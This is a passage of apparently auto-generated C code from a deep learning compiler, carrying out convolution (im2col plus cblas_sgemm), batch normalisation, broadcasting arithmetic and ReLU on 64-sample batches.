x45[x9087];\nint32_t x9075 = x9073 + x9074;\nint32_t x9077 = x9075 + x9076;\nint32_t x9079 = x9077 + x9078;\nfloat x9090 = x9088 * x9089;\nx9063[x9079] = x9090;\n\n}\n\n}\n\n}\n\n}\nint32_t x9100 = 0;\nint32_t x9101 = 1;\nx9101 *= 1;\nx9100 += 1;\nx9101 *= 1;\nx9101 *= 1;\nint32_t x9106 = x9100;\nbool x9107 = x9106 >= 2;\nif (x9107) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x9112 = x9106 == 0;\nif (x9112) {\nint32_t x9113 = x9101;\nbool x9114 = x9113 == 128;\nif (x9114) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x9121 = x9101;\nbool x9123 = x9052 == 1;\nint32_t x9122 = 128 / x9121;\nbool x9124 = x9122 == 1;\nbool x9128;\nif (x454) {\nbool x9125 = x9123 || x9124;\nbool x9126 = x9052 == x9122;\nbool x9127 = x9125 || x9126;\nx9128 = x9127;\n} else {\nx9128 = false;\n}\nbool x9132;\nif (x9128) {\nx9132 = x9131;\n} else {\nx9132 = false;\n}\nbool x9133;\nif (x9132) {\nx9133 = x9131;\n} else {\nx9133 = false;\n}\nif (x9133) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x9052,x9054,x9054,1,x9122,1,1);\nassert(false && \"\");\n}\nbool x9139 = x9052 <= x9122;\nint32_t x9140;\nif (x9139) {\nx9140 = x9122;\n} else {\nx9140 = x9052;\n}\nint32_t x9149 = x9140 * x9148;\nint32_t x9150 = 64 * x9149;\nfloat* x9151 = (float*)myMalloc(x9150 * sizeof(float));;\nint32_t x9152;\nif (x9123) {\nx9152 = 0;\n} else {\nx9152 = x9060;\n}\nint32_t x9155;\nif (x9124) {\nx9155 = 0;\n} else {\nx9155 = 1;\n}\nfor(int x9156=0; x9156 < 64; x9156++) {\nint32_t x9168 = x9061 * x9156;\nint32_t x9162 = x9149 * x9156;\nfor(int x9158=0; x9158 < x9140; x9158++) {\nint32_t x9169 = x9152 * x9158;\nint32_t x9170 = x9168 + x9169;\nint32_t x9175 = x9155 * x9158;\nint32_t x9164 = x9148 * x9158;\nfor(int x9160=0; x9160 < x9142; x9160++) {\nint32_t x9171 = x9153 * x9160;\nint32_t x9172 = x9170 + x9171;\nint32_t x9166 = x9142 * x9160;\nfor(int x9161=0; x9161 < x9142; x9161++) {\nint32_t x9173 = x9154 * x9161;\nint32_t x9174 = x9172 + x9173;\nfloat x9176 = x9063[x9174];\nfloat x9177 = x170[x9175];\nint32_t x9163 = x9161 + x9162;\nint32_t x9165 = x9163 + x9164;\nint32_t x9167 = x9165 + x9166;\nfloat x9178 = x9176 + x9177;\nx9151[x9167] = x9178;\n\n}\n\n}\n\n}\n\n}\nfloat* x9188 = (float*)myMalloc(x9150 * sizeof(float));;\nfor(int x9190=0; x9190 < x9150; x9190++) {\nfloat x9191 = x9151[x9190];\nbool x9192 = x9191 < 0.0f;\nif (x9192) {\nx9188[x9190] = 0.0f;\n} else {\nfloat x9195 = x9151[x9190];\nx9188[x9190] = x9195;\n}\n\n}\nfloat* x9210 = (float*)myMalloc(x9209 * sizeof(float));;\nint32_t x9211 = 9 * x9140;\nint32_t x9214 = 64 * x9211;\nint32_t x9215 = x9214 * x9205;\nfloat* x9216 = (float*)myMalloc(x9215 * sizeof(float));;\nint32_t x9212 = x9211 * x9205;\nint32_t x9224 = x9140 * 3;\nint32_t x9225 = x9224 * 3;\nfor(int x9217=0; x9217 < 64; x9217++) {\nint32_t x9218 = x9217 * x9149;\nfloat* x9219 = x9188+x9218;\nint32_t x9220 = x9217 * x9206;\nfloat* x9221 = x9210+x9220;\nint32_t x9222 = x9217 * x9212;\nfloat* x9223 = x9216+x9222;\nfor(int x9227=0; x9227 < x9225; x9227++) {\nint32_t x9228 = x9227 / 9;\nint32_t x9232 = x9228 * 3;\nint32_t x9233 = x9232 * 3;\nint32_t x9234 = x9233 * x9204;\nint32_t x9235 = x9234 * x9204;\nint32_t x9229 = x9227 % 9;\nint32_t x9230 = x9229 / 3;\nint32_t x9236 = x9230 * 3;\nint32_t x9237 = x9236 * x9204;\nint32_t x9238 = x9237 * x9204;\nint32_t x9239 = x9235 + x9238;\nint32_t x9231 = x9229 % 3;\nint32_t x9240 = x9231 * x9204;\nint32_t x9241 = x9240 * x9204;\nint32_t x9242 = x9239 + x9241;\nfloat* x9243 = x9223+x9242;\nint32_t x9244 = x9228 * x9142;\nint32_t x9245 = x9244 * x9142;\nfloat* x9246 = x9219+x9245;\nint32_t x9259 = 1 - x9231;\nbool x9260 = x9259 > 0;\nint32_t x9261;\nif (x9260) {\nx9261 = x9259;\n} else {\nx9261 = 0;\n}\nint32_t x9262 = 3 - x9231;\nint32_t x9263 = x9262 - 1;\nint32_t x9264 = 1 - x9263;\nbool x9265 = x9264 > 0;\nint32_t x9266;\nif (x9265) {\nx9266 = x9264;\n} else {\nx9266 = 0;\n}\nint32_t x9267 = x9204 - x9266;\nint32_t x9268 = x9267 - x9261;\nbool x9269 = x9268 <= 0;\nbool x9273 = x9261 > 0;\nint32_t x9258 = -1 + x9231;\nbool x9286 = x9266 > 0;\nfor(int x9248=0; x9248 < x9204; x9248++) {\nint32_t x9249 = x9248 - 1;\nint32_t x9250 = x9249 + x9230;\nbool x9251 = x9250 < 0;\nbool x9252 = x9250 >= x9142;\nbool x9253 = x9251 || x9252;\nif (x9253) {\nint32_t x9254 = x9248 * x9204;\nfloat* x9255 = x9243+x9254;\nmemset(x9255, 0, 4 * x9204);;\n} else {\nif (x9269) {\nint32_t x9254 = x9248 * x9204;\nfloat* x9270 = x9243+x9254;\nmemset(x9270, 0, 4 * x9204);;\n} else {\nint32_t x9254 = x9248 * x9204;\nif (x9273) {\nfloat* x9274 = x9243+x9254;\nmemset(x9274, 0, 4 * x9261);;\n} else {\n}\n// may have segfault here\nint32_t x9279 = x9254 + x9261;\nfloat* x9280 = x9243+x9279;\nint32_t x9281 = x9250 * x9142;\nint32_t x9282 = x9281 + x9258;\nint32_t x9283 = x9282 + x9261;\nfloat* x9284 = x9246+x9283;\nmemcpy(x9280, x9284, 4 * x9268);;\nif (x9286) {\nint32_t x9287 = x9254 + x9204;\nint32_t x9288 = x9287 - x9266;\nfloat* x9289 = x9243+x9288;\nmemset(x9289, 0, 4 * x9266);;\n} else {\n}\n}\n}\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 128,x9205,x9211,1,x191,x9211,x9223,x9205,1,x9221,x9205);\n\n}\nint32_t x9304 = 0;\nint32_t x9305 = 1;\nx9305 *= 1;\nx9304 += 1;\nx9305 *= 1;\nx9305 *= 1;\nint32_t x9310 = x9304;\nbool x9311 = x9310 >= 2;\nif (x9311) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x9316 = x9310 == 0;\nif (x9316) {\nint32_t x9317 = x9305;\nbool x9318 = x9317 == 128;\nif (x9318) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x9325 = x9305;\nint32_t x9326 = 128 / x9325;\nbool x9327 = x9326 == 1;\nbool x9330;\nif (x454) {\nbool x9328 = 128 == x9326;\nbool x9329 = x9327 || x9328;\nx9330 = x9329;\n} else {\nx9330 = false;\n}\nbool x9334;\nif (x9330) {\nx9334 = x9333;\n} else {\nx9334 = false;\n}\nbool x9335;\nif (x9334) {\nx9335 = x9333;\n} else {\nx9335 = false;\n}\nif (x9335) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,128,x9204,x9204,1,x9326,1,1);\nassert(false && \"\");\n}\nbool x9341 = 128 <= x9326;\nint32_t x9342;\nif (x9341) {\nx9342 = x9326;\n} else {\nx9342 = 128;\n}\nint32_t x9351 = x9342 * x9350;\nint32_t x9352 = 64 * x9351;\nfloat* x9353 = (float*)myMalloc(x9352 * sizeof(float));;\nint32_t x9356;\nif (x9327) {\nx9356 = 0;\n} else {\nx9356 = 1;\n}\nfor(int x9357=0; x9357 < 64; x9357++) {\nint32_t x9369 = x9206 * x9357;\nint32_t x9363 = x9351 * x9357;\nfor(int x9359=0; x9359 < x9342; x9359++) {\nint32_t x9370 = x9205 * x9359;\nint32_t x9371 = x9369 + x9370;\nint32_t x9376 = x9356 * x9359;\nint32_t x9365 = x9350 * x9359;\nfor(int x9361=0; x9361 < x9344; x9361++) {\nint32_t x9372 = x9354 * x9361;\nint32_t x9373 = x9371 + x9372;\nint32_t x9367 = x9344 * x9361;\nfor(int x9362=0; x9362 < x9344; x9362++) {\nint32_t x9374 = x9355 * x9362;\nint32_t x9375 = x9373 + x9374;\nfloat x9377 = x9210[x9375];\nfloat x9378 = x217[x9376];\nint32_t x9364 = x9362 + x9363;\nint32_t x9366 = x9364 + x9365;\nint32_t x9368 = x9366 + x9367;\nfloat x9379 = x9377 - x9378;\nx9353[x9368] = x9379;\n\n}\n\n}\n\n}\n\n}\nfloat* x9389 = (float*)myMalloc(128 * sizeof(float));;\nfor(int x9390=0; x9390 < 128; x9390++) {\nfloat x9391 = x266[x9390];\nfloat x9392 = x9391 + 1.0E-5f;\nx9389[x9390] = x9392;\n\n}\nfloat* x9396 = (float*)myMalloc(128 * sizeof(float));;\nfor(int x9397=0; x9397 < 128; x9397++) {\nfloat x9398 = x9389[x9397];\ndouble x9399 = (double)x9398;\ndouble x9400 = sqrt(x9399);\nfloat x9401 = (float)x9400;\nx9396[x9397] = x9401;\n\n}\nint32_t x9405 = 0;\nint32_t x9406 = 1;\nx9406 *= 1;\nx9405 += 1;\nx9406 *= 1;\nx9406 *= 1;\nint32_t x9411 = x9405;\nbool x9412 = x9411 >= 2;\nif (x9412) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x9417 = x9411 == 0;\nif (x9417) {\nint32_t x9418 = x9406;\nbool x9419 = x9418 == 128;\nif (x9419) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x9426 = x9406;\nbool x9428 = x9342 == 1;\nint32_t x9427 = 128 / x9426;\nbool x9429 = x9427 == 1;\nbool x9433;\nif (x454) {\nbool x9430 = x9428 || x9429;\nbool x9431 = x9342 == x9427;\nbool x9432 = x9430 || x9431;\nx9433 = x9432;\n} else {\nx9433 = false;\n}\nbool x9437;\nif (x9433) {\nx9437 = x9436;\n} else {\nx9437 = false;\n}\nbool x9438;\nif (x9437) {\nx9438 = x9436;\n} else {\nx9438 = false;\n}\nif (x9438) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x9342,x9344,x9344,1,x9427,1,1);\nassert(false && \"\");\n}\nbool x9444 = x9342 <= x9427;\nint32_t x9445;\nif (x9444) {\nx9445 = x9427;\n} else {\nx9445 = x9342;\n}\nint32_t x9454 = x9445 * x9453;\nint32_t x9455 = 64 * x9454;\nfloat* x9456 = (float*)myMalloc(x9455 * sizeof(float));;\nint32_t x9457;\nif (x9428) {\nx9457 = 0;\n} else {\nx9457 = x9350;\n}\nint32_t x9460;\nif (x9429) {\nx9460 = 0;\n} else {\nx9460 = 1;\n}\nfor(int x9461=0; x9461 < 64; x9461++) {\nint32_t x9473 = x9351 * x9461;\nint32_t x9467 = x9454 * x9461;\nfor(int x9463=0; x9463 < x9445; x9463++) {\nint32_t x9474 = x9457 * x9463;\nint32_t x9475 = x9473 + x9474;\nint32_t x9480 = x9460 * x9463;\nint32_t x9469 = x9453 * x9463;\nfor(int x9465=0; x9465 < x9447; x9465++) {\nint32_t x9476 = x9458 * x9465;\nint32_t x9477 = x9475 + x9476;\nint32_t x9471 = x9447 * x9465;\nfor(int x9466=0; x9466 < x9447; x9466++) {\nint32_t x9478 = x9459 * x9466;\nint32_t x9479 = x9477 + x9478;\nfloat x9481 = x9353[x9479];\nfloat x9482 = x9396[x9480];\nint32_t x9468 = x9466 + x9467;\nint32_t x9470 = x9468 + x9469;\nint32_t x9472 = x9470 + x9471;\nfloat x9483 = x9481 / x9482;\nx9456[x9472] = x9483;\n\n}\n\n}\n\n}\n\n}\nint32_t x9493 = 0;\nint32_t x9494 = 1;\nx9494 *= 1;\nx9493 += 1;\nx9494 *= 1;\nx9494 *= 1;\nint32_t x9499 = x9493;\nbool x9500 = x9499 >= 2;\nif (x9500) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x9505 = x9499 == 0;\nif (x9505) {\nint32_t x9506 = x9494;\nbool x9507 = x9506 == 128;\nif (x9507) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x9514 = x9494;\nbool x9516 = x9445 == 1;\nint32_t x9515 = 128 / x9514;\nbool x9517 = x9515 == 1;\nbool x9521;\nif (x454) {\nbool x9518 = x9516 || x9517;\nbool x9519 = x9445 == x9515;\nbool x9520 = x9518 || x9519;\nx9521 = x9520;\n} else {\nx9521 = false;\n}\nbool x9525;\nif (x9521) {\nx9525 = x9524;\n} else {\nx9525 = false;\n}\nbool x9526;\nif (x9525) {\nx9526 = x9524;\n} else {\nx9526 = false;\n}\nif (x9526) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x9445,x9447,x9447,1,x9515,1,1);\nassert(false && \"\");\n}\nbool x9532 = x9445 <= x9515;\nint32_t x9533;\nif (x9532) {\nx9533 = x9515;\n} else {\nx9533 = x9445;\n}\nint32_t x9542 = x9533 * x9541;\nint32_t x9543 = 64 * x9542;\nfloat* x9544 = (float*)myMalloc(x9543 * sizeof(float));;\nint32_t x9545;\nif (x9516) {\nx9545 = 0;\n} else {\nx9545 = x9453;\n}\nint32_t x9548;\nif (x9517) {\nx9548 = 0;\n} else {\nx9548 = 1;\n}\nfor(int x9549=0; x9549 < 64; x9549++) {\nint32_t x9561 = x9454 * x9549;\nint32_t x9555 = x9542 * x9549;\nfor(int x9551=0; x9551 < x9533; x9551++) {\nint32_t x9562 = x9545 * x9551;\nint32_t x9563 = x9561 + x9562;\nint32_t x9568 = x9548 * x9551;\nint32_t x9557 = x9541 * x9551;\nfor(int x9553=0; x9553 < x9535; x9553++) {\nint32_t x9564 = x9546 * x9553;\nint32_t x9565 = x9563 + x9564;\nint32_t x9559 = x9535 * x9553;\nfor(int x9554=0; x9554 < x9535; x9554++) {\nint32_t x9566 = x9547 * x9554;\nint32_t x9567 = x9565 + x9566;\nfloat x9569 = x9456[x9567];\nfloat x9570 = x127[x9568];\nint32_t x9556 = x9554 + x9555;\nint32_t x9558 = x9556 + x9557;\nint32_t x9560 = x9558 + x9559;\nfloat x9571 = x9569 * x9570;\nx9544[x9560] = x9571;\n\n}\n\n}\n\n}\n\n}\nint32_t x9581 = 0;\nint32_t x9582 = 1;\nx9582 *= 1;\nx9581 += 1;\nx9582 *= 1;\nx9582 *= 1;\nint32_t x9587 = x9581;\nbool x9588 = x9587 >= 2;\nif (x9588) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x9593 = x9587 == 0;\nif (x9593) {\nint32_t x9594 = x9582;\nbool x9595 = x9594 == 128;\nif (x9595) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x9602 = x9582;\nbool x9604 = x9533 == 1;\nint32_t x9603 = 128 / x9602;\nbool x9605 = x9603 == 1;\nbool x9609;\nif (x454) {\nbool x9606 = x9604 || x9605;\nbool x9607 = x9533 == x9603;\nbool x9608 = x9606 || x9607;\nx9609 = x9608;\n} else {\nx9609 = false;\n}\nbool x9613;\nif (x9609) {\nx9613 = x9612;\n} else {\nx9613 = false;\n}\nbool x9614;\nif (x9613) {\nx9614 = x9612;\n} else {\nx9614 = false;\n}\nif (x9614) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x9533,x9535,x9535,1,x9603,1,1);\nassert(false && \"\");\n}\nbool x9620 = x9533 <= x9603;\nint32_t x9621;\nif (x9620) {\nx9621 = x9603;\n} else {\nx9621 = x9533;\n}\nint32_t x9630 = x9621 * x9629;\nint32_t x9631 = 64 * x9630;\nfloat* x9632 = (float*)myMalloc(x9631 * sizeof(float));;\nint32_t x9633;\nif (x9604) {\nx9633 = 0;\n} else {\nx9633 = x9541;\n}\nint32_t x9636;\nif (x9605) {\nx9636 = 0;\n} else {\nx9636 = 1;\n}\nfor(int x9637=0; x9637 < 64; x9637++) {\nint32_t x9649 = x9542 * x9637;\nint32_t x9643 = x9630 * x9637;\nfor(int x9639=0; x9639 < x9621; x9639++) {\nint32_t x9650 = x9633 * x9639;\nint32_t x9651 = x9649 + x9650;\nint32_t x9656 = x9636 * x9639;\nint32_t x9645 = x9629 * x9639;\nfor(int x9641=0; x9641 < x9623; x9641++) {\nint32_t x9652 = x9634 * x9641;\nint32_t x9653 = x9651 + x9652;\nint32_t x9647 = x9623 * x9641;\nfor(int x9642=0; x9642 < x9623; x9642++) {\nint32_t x9654 = x9635 * x9642;\nint32_t x9655 = x9653 + x9654;\nfloat x9657 = x9544[x9655];\nfloat x9658 = x61[x9656];\nint32_t x9644 = x9642 + x9643;\nint32_t x9646 = x9644 + x9645;\nint32_t x9648 = x9646 + x9647;\nfloat x9659 = x9657 + x9658;\nx9632[x9648] = x9659;\n\n}\n\n}\n\n}\n\n}\nfloat* x9669 = (float*)myMalloc(x9631 * sizeof(float));;\nfor(int x9671=0; x9671 < x9631; x9671++) {\nfloat x9672 = x9632[x9671];\nbool x9673 = x9672 < 0.0f;\nif (x9673) {\nx9669[x9671] = 0.0f;\n} else {\nfloat x9676 = x9632[x9671];\nx9669[x9671] = x9676;\n}\n\n}\nfloat* x9690 = (float*)myMalloc(x9689 * sizeof(float));;\nint32_t x9693 = 64 * x9621;\nint32_t x9694 = x9693 * x9685;\nfloat* x9695 = (float*)myMalloc(x9694 * sizeof(float));;\nint32_t x9691 = x9621 * x9685;\nfor(int x9696=0; x9696 < 64; x9696++) {\nint32_t x9697 = x9696 * x9630;\nfloat* x9698 = x9669+x9697;\nint32_t x9699 = x9696 * x9686;\nfloat* x9700 = x9690+x9699;\nint32_t x9701 = x9696 * x9691;\nfloat* x9702 = x9695+x9701;\nfor(int x9703=0; x9703 < x9621; x9703++) {\nint32_t x9704 = x9703 / 1;\nint32_t x9708 = x9704 * x9684;\nint32_t x9709 = x9708 * x9684;\nint32_t x9705 = x9703 % 1;\nint32_t x9706 = x9705 / 1;\nint32_t x9710 = x9706 * x9684;\nint32_t x9711 = x9710 * x9684;\nint32_t x9712 = x9709 + x9711;\nint32_t x9707 = x9705 % 1;\nint32_t x9713 = x9707 * x9684;\nint32_t x9714 = x9713 * x9684;\nint32_t x9715 = x9712 + x9714;\nfloat* x9716 = x9702+x9715;\nint32_t x9717 = x9704 * x9623;\nint32_t x9718 = x9717 * x9623;\nfloat* x9719 = x9698+x9718;\nfor(int x9721=0; x9721 < x9684; x9721++) {\nint32_t x9723 = x9721 * x9684;\nfloat* x9724 = x9716+x9723;\nint32_t x9722 = x9721 + x9706;\nint32_t x9725 = x9722 * x9623;\nint32_t x9726 = x9725 + x9707;\nfloat* x9727 = x9719+x9726;\nmemcpy(x9724, x9727, 4 * x9684);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 512,x9685,x9621,1,x41,x9621,x9702,x9685,1,x9700,x9685);\n\n}\nint32_t x9736 = 0;\nint32_t x9737 = 1;\nx9737 *= 1;\nx9736 += 1;\nx9737 *= 1;\nx9737 *= 1;\nint32_t x9742 = x9736;\nbool x9743 = x9742 >= 2;\nif (x9743) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x9748 = x9742 == 0;\nif (x9748) {\nint32_t x9749 = x9737;\nbool x9750 = x9749 == 512;\nif (x9750) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x9757 = x9737;\nint32_t x9758 = 512 / x9757;\nbool x9759 = x9758 == 1;\nbool x9762;\nif (x454) {\nbool x9760 = 512 == x9758;\nbool x9761 = x9759 || x9760;\nx9762 = x9761;\n} else {\nx9762 = false;\n}\nbool x9766;\nif (x9762) {\nx9766 = x9765;\n} else {\nx9766 = false;\n}\nbool x9767;\nif (x9766) {\nx9767 = x9765;\n} else {\nx9767 = false;\n}\nif (x9767) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,512,x9684,x9684,1,x9758,1,1);\nassert(false && \"\");\n}\nbool x9773 = 512 <= x9758;\nint32_t x9774;\nif (x9773) {\nx9774 = x9758;\n} else {\nx9774 = 512;\n}\nint32_t x9783 = x9774 * x9782;\nint32_t x9784 = 64 * x9783;\nfloat* x9785 = (float*)myMalloc(x9784 * sizeof(float));;\nint32_t x9788;\nif (x9759) {\nx9788 = 0;\n} else {\nx9788 = 1;\n}\nfor(int x9789=0; x9789 < 64; x9789++) {\nint32_t x9801 = x9686 * x9789;\nint32_t x9795 = x9783 * x9789;\nfor(int x9791=0; x9791 < x9774; x9791++) {\nint32_t x9802 = x9685 * x9791;\nint32_t x9803 = x9801 + x9802;\nint32_t x9808 = x9788 * x9791;\nint32_t x9797 = x9782 * x9791;\nfor(int x9793=0; x9793 < x9776; x9793++) {\nint32_t x9804 = x9786 * x9793;\nint32_t x9805 = x9803 + x9804;\nint32_t x9799 = x9776 * x9793;\nfor(int x9794=0; x9794 < x9776; x9794++) {\nint32_t x9806 = x9787 * x9794;\nint32_t x9807 = x9805 + x9806;\nfloat x9809 = x9690[x9807];\nfloat x9810 = x25[x9808];\nint32_t x9796 = x9794 + x9795;\nint32_t x9798 = x9796 + x9797;\nint32_t x9800 = x9798 + x9799;\nfloat x9811 = x9809 - x9810;\nx9785[x9800] = x9811;\n\n}\n\n}\n\n}\n\n}\nfloat* x9821 = (float*)myMalloc(512 * sizeof(float));;\nfor(int x9822=0; x9822 < 512; x9822++) {\nfloat x9823 = x223[x9822];\nfloat x9824 = x9823 + 1.0E-5f;\nx9821[x9822] = x9824;\n\n}\nfloat* x9828 = (float*)myMalloc(512 * sizeof(float));;\nfor(int x9829=0; x9829 < 512; x9829++) {\nfloat x9830 = x9821[x9829];\ndouble x9831 = (double)x9830;\ndouble x9832 = sqrt(x9831);\nfloat x9833 = (float)x9832;\nx9828[x9829] = x9833;\n\n}\nint32_t x9837 = 0;\nint32_t x9838 = 1;\nx9838 *= 1;\nx9837 += 1;\nx9838 *= 1;\nx9838 *= 1;\nint32_t x9843 = x9837;\nbool x9844 = x9843 >= 2;\nif (x9844) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x9849 = x9843 == 0;\nif (x9849) {\nint32_t x9850 = x9838;\nbool x9851 = x9850 == 512;\nif (x9851) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x9858 = x9838;\nbool x9860 = x9774 == 1;\nint32_t x9859 = 512 / x9858;\nbool x9861 = x9859 == 1;\nbool x9865;\nif (x454) {\nbool x9862 = x9860 || x9861;\nbool x9863 = x9774 == x9859;\nbool x9864 = x9862 || x9863;\nx9865 = x9864;\n} else {\nx9865 = false;\n}\nbool x9869;\nif (x9865) {\nx9869 = x9868;\n} else {\nx9869 = false;\n}\nbool x9870;\nif (x9869) {\nx9870 = x9868;\n} else {\nx9870 = false;\n}\nif (x9870) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x9774,x9776,x9776,1,x9859,1,1);\nassert(false && \"\");\n}\nbool x9876 = x9774 <= x9859;\nint32_t x9877;\nif (x9876) {\nx9877 = x9859;\n} else {\nx9877 = x9774;\n}\nint32_t x9886 = x9877 * x9885;\nint32_t x9887 = 64 * x9886;\nfloat* x9888 = (float*)myMalloc(x9887 * sizeof(float));;\nint32_t x9889;\nif (x9860) {\nx9889 = 0;\n} else {\nx9889 = x9782;\n}\nint32_t x9892;\nif (x9861) {\nx9892 = 0;\n} else {\nx9892 = 1;\n}\nfor(int x9893=0; x9893 < 64; x9893++) {\nint32_t x9905 = x9783 * x9893;\nint32_t x9899 = x9886 * x9893;\nfor(int x9895=0; x9895 < x9877; x9895++) {\nint32_t x9906 = x9889 * x9895;\nint32_t x9907 = x9905 + x9906;\nint32_t x9912 = x9892 * x9895;\nint32_t x9901 = x9885 * x9895;\nfor(int x9897=0; x9897 < x9879; x9897++) {\nint32_t x9908 = x9890 * x9897;\nint32_t x9909 = x9907 + x9908;\nint32_t x9903 = x9879 * x9897;\nfor(int x9898=0; x9898 < x9879; x9898++) {\nint32_t x9910 = x9891 * x9898;\nint32_t x9911 = x9909 + x9910;\nfloat x9913 = x9785[x9911];\nfloat x9914 = x9828[x9912];\nint32_t x9900 = x9898 + x9899;\nint32_t x9902 = x9900 + x9901;\nint32_t x9904 = x9902 + x9903;\nfloat x9915 = x9913 / x9914;\nx9888[x9904] = x9915;\n\n}\n\n}\n\n}\n\n}\nint32_t x9925 = 0;\nint32_t x9926 = 1;\nx9926 *= 1;\nx9925 += 1;\nx9926 *= 1;\nx9926 *= 1;\nint32_t x9931 = x9925;\nbool x9932 = x9931 >= 2;\nif (x9932) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x9937 = x9931 == 0;\nif (x9937) {\nint32_t x9938 = x9926;\nbool x9939 = x9938 == 512;\nif (x9939) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x9946 = x9926;\nbool x9948 = x9877 == 1;\nint32_t x9947 = 512 / x9946;\nbool x9949 = x9947 == 1;\nbool x9953;\nif (x454) {\nbool x9950 = x9948 || x9949;\nbool x9951 = x9877 == x9947;\nbool x9952 = x9950 || x9951;\nx9953 = x9952;\n} else {\nx9953 = false;\n}\nbool x9957;\nif (x9953) {\nx9957 = x9956;\n} else {\nx9957 = false;\n}\nbool x9958;\nif (x9957) {\nx9958 = x9956;\n} else {\nx9958 = false;\n}\nif (x9958) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x9877,x9879,x9879,1,x9947,1,1);\nassert(false && \"\");\n}\nbool x9964 = x9877 <= x9947;\nint32_t x9965;\nif (x9964) {\nx9965 = x9947;\n} else {\nx9965 = x9877;\n}\nint32_t x9974 = x9965 * x9973;\nint32_t x9975 = 64 * x9974;\nfloat* x9976 = (float*)myMalloc(x9975 * sizeof(float));;\nint32_t x9977;\nif (x9948) {\nx9977 = 0;\n} else {\nx9977 = x9885;\n}\nint32_t x9980;\nif (x9949) {\nx9980 = 0;\n} else {\nx9980 = 1;\n}\nfor(int x9981=0; x9981 < 64; x9981++) {\nint32_t x9993 = x9886 * x9981;\nint32_t x9987 = x9974 * x9981;\nfor(int x9983=0; x9983 < x9965; x9983++) {\nint32_t x9994 = x9977 * x9983;\nint32_t x9995 = x9993 + x9994;\nint32_t x10000 = x9980 * x9983;\nint32_t x9989 = x9973 * x9983;\nfor(int x9985=0; x9985 < x9967; x9985++) {\nint32_t x9996 = x9978 * x9985;\nint32_t x9997 = x9995 + x9996;\nint32_t x9991 = x9967 * x9985;\nfor(int x9986=0; x9986 < x9967; x9986++) {\nint32_t x9998 = x9979 * x9986;\nint32_t x9999 = x9997 + x9998;\nfloat x10001 = x9888[x9999];\nfloat x10002 = x167[x10000];\nint32_t x9988 = x9986 + x9987;\nint32_t x9990 = x9988 + x9989;\nint32_t x9992 = x9990 + x9991;\nfloat x10003 = x10001 * x10002;\nx9976[x9992] = x10003;\n\n}\n\n}\n\n}\n\n}\nint32_t x10013 = 0;\nint32_t x10014 = 1;\nx10014 *= 1;\nx10013 += 1;\nx10014 *= 1;\nx10014 *= 1;\nint32_t x10019 = x10013;\nbool x10020 = x10019 >= 2;\nif (x10020) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x10025 = x10019 == 0;\nif (x10025) {\nint32_t x10026 = x10014;\nbool x10027 = x10026 == 512;\nif (x10027) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x10034 = x10014;\nbool x10036 = x9965 == 1;\nint32_t x10035 = 512 / x10034;\nbool x10037 = x10035 == 1;\nbool x10041;\nif (x454) {\nbool x10038 = x10036 || x10037;\nbool x10039 = x9965 == x10035;\nbool x10040 = x10038 || x10039;\nx10041 = x10040;\n} else {\nx10041 = false;\n}\nbool x10045;\nif (x10041) {\nx10045 = x10044;\n} else {\nx10045 = false;\n}\nbool x10046;\nif (x10045) {\nx10046 = x10044;\n} else {\nx10046 = false;\n}\nif (x10046) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x9965,x9967,x9967,1,x10035,1,1);\nassert(false && \"\");\n}\nbool x10052 = x9965 <= x10035;\nint32_t x10053;\nif (x10052) {\nx10053 = x10035;\n} else {\nx10053 = x9965;\n}\nint32_t x10062 = x10053 * x10061;\nint32_t x10063 = 64 * x10062;\nfloat* x10064 = (float*)myMalloc(x10063 * sizeof(float));;\nint32_t x10065;\nif (x10036) {\nx10065 = 0;\n} else {\nx10065 = x9973;\n}\nint32_t x10068;\nif (x10037) {\nx10068 = 0;\n} else {\nx10068 = 1;\n}\nfor(int x10069=0; x10069 < 64; x10069++) {\nint32_t x10081 = x9974 * 